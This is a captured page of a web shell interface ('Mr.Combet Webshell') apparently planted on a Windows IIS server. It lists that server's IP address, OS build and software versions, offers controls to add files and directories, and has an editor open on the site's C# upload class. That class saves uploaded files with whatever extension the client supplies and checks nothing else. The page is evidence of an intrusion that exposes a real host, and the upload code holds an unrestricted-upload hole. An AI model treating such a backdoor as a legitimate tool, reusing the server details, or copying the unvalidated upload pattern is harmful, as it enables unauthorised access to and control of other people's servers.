Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
HRDC
/
HRDC
/
Class
/
Edit File Name :
FileUploadManger.cs
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Web; namespace HRDC.Class { public class FileUploadManger { public string UploadFile(HttpPostedFileBase fileContent, string UploadPath) { string filename = ""; if (fileContent != null && fileContent.ContentLength > 0) { // get a stream var stream = fileContent.InputStream; // and optionally write the file to disk filename = GetUniqueFileName() + Path.GetExtension(fileContent.FileName); var path = Path.Combine(System.Web.HttpContext.Current.Server.MapPath(UploadPath), filename); using (var fileStream = System.IO.File.Create(path)) { stream.CopyTo(fileStream); } } return filename; } public string GetUniqueFileName() { var myUniqueFileName = $@"{Guid.NewGuid()}"; return myUniqueFileName; } } }
Save